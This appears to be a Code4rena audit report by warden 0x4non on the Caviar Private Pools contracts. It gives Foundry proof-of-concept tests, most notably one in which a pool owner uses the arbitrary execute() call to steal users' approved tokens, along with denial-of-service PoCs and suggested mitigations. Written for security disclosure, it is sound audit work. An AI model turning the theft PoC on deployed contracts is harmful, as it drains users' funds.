Caviar Private Pools - 0x4non's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L459-L476

Vulnerability details

Impact

A malicious private pool owner can execute any arbitrary call to any address, this means that a malicious owner can frontrun an approve before the sell is made and transfer user funds or NFTs approved to his wallet.

It also could happen that a private pool owner leak or lost the private key, then an attacker could drain not only owner funds and NFTs but also all the users who have interacted with the pool.

Proof of Concept

This is a simple POC written in Foundry to drain funds (it could be also tweeck to steal nfts)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "test/Fixture.sol";
import "src/PrivatePool.sol";

contract PocDangerousArbitraryCallTest is Fixture {

    PrivatePool public privatePool;

    address nft = address(milady);
    uint128 virtualBaseTokenReserves = 100e18;
    uint128 virtualNftReserves = 5e18;
    uint16 feeRate = 0;
    uint56 changeFee = 0;
    
    uint256[] tokenIds;
    uint256[] tokenWeights;
    PrivatePool.MerkleMultiProof proofs;
    

    function setUp() public {
        bytes32 merkleRoot = bytes32(0);
        // arrange
        privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle));
        privatePool.initialize(
            address(shibaInu),
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false
        );
        factory.setProtocolFeeRate(1000); // 1%

        vm.mockCall(
            address(factory),
            abi.encodeWithSelector(ERC721.ownerOf.selector, address(privatePool)),
            abi.encode(address(this))
        );

        for (uint256 i = 10; i < 13; i++) {
            tokenIds.push(i);
            milady.mint(address(privatePool), i);
        }
    }

        
    function test_MaliciousUSerStealTokens() public {
    
        address user = makeAddr("user");
        
        (uint256 netInputAmount,, uint256 protocolFeeAmount) = privatePool.buyQuote(tokenIds.length * 1e18);
        // netInputAmount is 165 ether
        deal(address(shibaInu), user, 165 ether);

        // 1) User approve the private pool to spend his shibaInu
        vm.prank(user);
        shibaInu.approve(address(privatePool), netInputAmount);

        // user has 165 ether
        assertEq(shibaInu.balanceOf(address(user)), 165 ether);
        assertEq(shibaInu.balanceOf(address(this)), 0);
       
        // 2) Before User call buy() a malicious owner frontruns him and steal all the approved tokens
        privatePool.execute(address(shibaInu), abi.encodeWithSignature("transferFrom(address,address,uint256)", user,address(this), netInputAmount));

        vm.expectRevert();
        vm.prank(user);
        privatePool.buy(tokenIds, tokenWeights, proofs);


        // user has 0 ether
        assertEq(shibaInu.balanceOf(address(user)), 0);
        // we have steal all user approved funds
        assertEq(shibaInu.balanceOf(address(this)), 165 ether);
    }
}

Tools Used

Manual revision

Recommended Mitigation Steps

If removing this function its not suitable you could perform a validation on the protocol side;

1. You could use a whitelist of methods that the pool owner can call
2. You could use a safeguard so they first have to has permission to the protocol if they want to run a payload, you can implement a signature for this, so private pool owner has to have the signature saying that they are allowed to call address with a payload

Judge has assessed an item in Issue #407 as 3 risk. The relevant finding follows:

L01 Unsafe downcasting On PrivatePool.sol#L230-L231 there are two unsafe downcasting from uint256 to uint128;

    virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
    virtualNftReserves -= uint128(weightSum);

I think is possible under certain cirscunstances that weightSum > uint128.max or netInputAmount - feeAmount - protocolFeeAmount > uint128.max

Consider using OpenZeppelin’s SafeCast library to prevent unexpected overflows/underflows when casting from other types

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L733 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L416

Vulnerability details

Impact

A token with less than 4 decimals will make that all calls to the function PrivatePool.change revert, this is due an arithmetic underflow on the changeFeeQuote view function.

Proof of Concept

For this POC i didnt use the change function i just test the changeFeeQuote function that is called on change, please see; PrivatePool.sol#L416

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "test/Fixture.sol";

import "solmate/tokens/ERC20.sol";

contract LowDecimalsToken is ERC20 {
    constructor() ERC20("Shiba Inu", "SHIB", 3) {}
}


contract POCLowDecimalsTokenTest is Fixture {
    event Create(address indexed privatePool, uint256[] tokenIds, uint256 baseTokenAmount);

    address baseToken = address(0);
    address nft = address(milady);
    uint128 virtualBaseTokenReserves = 100;
    uint128 virtualNftReserves = 200;
    uint16 feeRate = 10;
    uint56 changeFee = 255;
    bytes32 merkleRoot = bytes32(0);
    bytes32 salt = bytes32(0);
    uint256[] tokenIds;
    uint256 baseTokenAmount = 20;

    address lowDecimalsToken = address(new LowDecimalsToken());

    function setUp() public {
        privatePoolImplementation =
            new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle));
        factory = new Factory();
        factory.setPrivatePoolImplementation(address(privatePoolImplementation));

        for (uint256 i = 0; i < 10; i++) {
            milady.mint(address(this), i);
        }

        milady.setApprovalForAll(address(factory), true);
    }


    function test_ChangeFeeFunction() public {
        // arrange
        baseTokenAmount = 3.156e18;
        deal(address(lowDecimalsToken), address(this), baseTokenAmount);
        ERC20(lowDecimalsToken).approve(address(factory), baseTokenAmount);

        // act
        PrivatePool privatePool = factory.create(
            address(lowDecimalsToken),
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            salt,
            tokenIds,
            baseTokenAmount
        );

        // assert
        assertEq(
            ERC20(lowDecimalsToken).balanceOf(address(privatePool)), baseTokenAmount, "Should have transferred 3.156 SHIB to the pool"
        );


        /// @dev this will always fail meaning that calling the `change` method will always fail
        (uint256 feeAmount, uint256 protocolFeeAmount) = privatePool.changeFeeQuote(1e18);

        console.log("feeAmount: %s", feeAmount);
        console.log("protocolFeeAmount: %s", protocolFeeAmount);
    }
}

Tools Used

manual revision

Recommended Mitigation Steps

You could set a fixed feePerNft if decimals are lower to 4. Or if you are not willing to support a ERC20 token with less than 4 decimals do a revert with a propper message so user can understand whats going on.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L188-L191

Vulnerability details

Impact

The royaltyRecipient is an arbitrary address setup by the collection if the collection royaltyRecipient is a contract and this contract its not prepared to receive ether the ether transfer will always fail paying the royalties.

Proof of Concept

Here is a foundry POC, take note that i have to write a new Milady mock collection because in the original is hardcoded to 0xbeefbeef so its impossible to change the royaltyRecipient; Milady.sol#L31

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "test/Fixture.sol";

contract POCRejectTest is Fixture {
    PrivatePool public privatePool;
    uint256 public totalTokens = 0;
    uint256 public minOutputAmount = 0;

    uint256 royaltyFeeRate = 0.1e18; // 10%
    address royaltyRecipient = address(new EthRejecter());

    Milady2 milady2 = new Milady2();

    function setUp() public {
        milady2.setApprovalForAll(address(ethRouter), true);

        vm.mockCall(
            address(milady2),
            abi.encodeWithSelector(ERC721.ownerOf.selector, address(privatePool)),
            abi.encode(address(this))
        );

        // lets setup a trap for the royalty        
        milady2.setRoyaltyInfo(royaltyFeeRate, royaltyRecipient);

    }

    function _addSell() internal returns (EthRouter.Sell memory, uint256) {
        uint256[] memory empty = new uint256[](0);
        privatePool = factory.create{value: 100e18}(
            address(0),
            address(milady2),
            100e18,
            10e18,
            200,
            199,
            bytes32(0),
            true,
            false,
            bytes32(address(this).balance), // random between each call to _addBuy
            empty,
            100e18
        );

        uint256[] memory tokenIds = new uint256[](2);
        for (uint256 i = 0; i < 2; i++) {
            milady2.mint(address(this), i + totalTokens);
            tokenIds[i] = i + totalTokens;
        }

        totalTokens += 2;

        bytes32[][] memory publicPoolProofs = new bytes32[][](0);
        EthRouter.Sell memory sell = EthRouter.Sell({
            pool: payable(address(privatePool)),
            nft: address(milady2),
            tokenIds: tokenIds,
            tokenWeights: new uint256[](0),
            proof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            isPublicPool: false,
            publicPoolProofs: publicPoolProofs
        });

        (uint256 baseTokenAmount,,) = privatePool.sellQuote(tokenIds.length * 1e18);
        return (sell, baseTokenAmount);
    }

    function test_PaysRoyalties() public {
        // arrange
        EthRouter.Sell[] memory sells = new EthRouter.Sell[](3);
        (EthRouter.Sell memory sell1, uint256 outputAmount1) = _addSell();
        (EthRouter.Sell memory sell2, uint256 outputAmount2) = _addSell();
        minOutputAmount += outputAmount1 + outputAmount2;
        sells[0] = sell1;
        sells[1] = sell2;
        Pair pair = caviar.create(address(milady2), address(0), bytes32(0));
        deal(address(pair), 1.123e18);
        deal(address(pair), address(pair), 10e18);

        uint256[] memory tokenIds = new uint256[](2);
        for (uint256 i = 0; i < tokenIds.length; i++) {
            tokenIds[i] = i + totalTokens;
            milady2.mint(address(this), i + totalTokens);
        }
        sells[2] = EthRouter.Sell({
            pool: payable(address(pair)),
            nft: address(milady2),
            tokenIds: tokenIds,
            tokenWeights: new uint256[](0),
            proof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            isPublicPool: true,
            publicPoolProofs: new bytes32[][](0)
        });

        uint256 outputAmount = pair.sellQuote(tokenIds.length * 1e18);

        uint256 royaltyFee = outputAmount / tokenIds.length * royaltyFeeRate / 1e18 * tokenIds.length;
        outputAmount -= royaltyFee;
        minOutputAmount += outputAmount;

        // act
        ethRouter.sell(sells, minOutputAmount, 0, true);

        // assert
        assertEq(address(royaltyRecipient).balance, royaltyFee, "Should have paid royalties");
        assertGt(address(royaltyRecipient).balance, 0, "Should have paid royalties");
    }
}

contract EthRejecter {
    // The contract could not have a method called "receive" or "fallback", i added here
    // to show the concept of a contract that rejects ETH
    receive() external payable {
        revert("ETH REJECTED EXAMPLE");
    }
}

contract Milady2 is ERC721, ERC2981 {
    uint256 public royaltyFeeRate = 0; // to 18 decimals
    address public royaltyRecipient = address(0);

    constructor() ERC721("Milady Maker", "MIL") {}

    function tokenURI(uint256) public view virtual override returns (string memory) {
        return "https://milady.io";
    }

    function mint(address to, uint256 id) public {
        _mint(to, id);
    }

    function setRoyaltyInfo(uint256 _royaltyFeeRate, address _royaltyRecipient) public {
        royaltyFeeRate = _royaltyFeeRate;
        royaltyRecipient = _royaltyRecipient;
    }

    function supportsInterface(bytes4 interfaceId) public view override(ERC2981, ERC721) returns (bool) {
        return super.supportsInterface(interfaceId);
    }

    function royaltyInfo(uint256, uint256 salePrice) public view override returns (address, uint256) {
        return (royaltyRecipient, salePrice * royaltyFeeRate / 1e18);
    }
}

Tools Used

Manual revision

Recommended Mitigation Steps

There are two simple ways from my point of view to force ether send and solve this issue;

You could use a simple contract that selfdestrcut an firce ether, but selfdestruct is deprecated so its not a good idea, please view solady/SafeTransferLib.sol#L65

The other think you could do is if a address is rejecting ether, send WETH instead, this pattern is common and well known.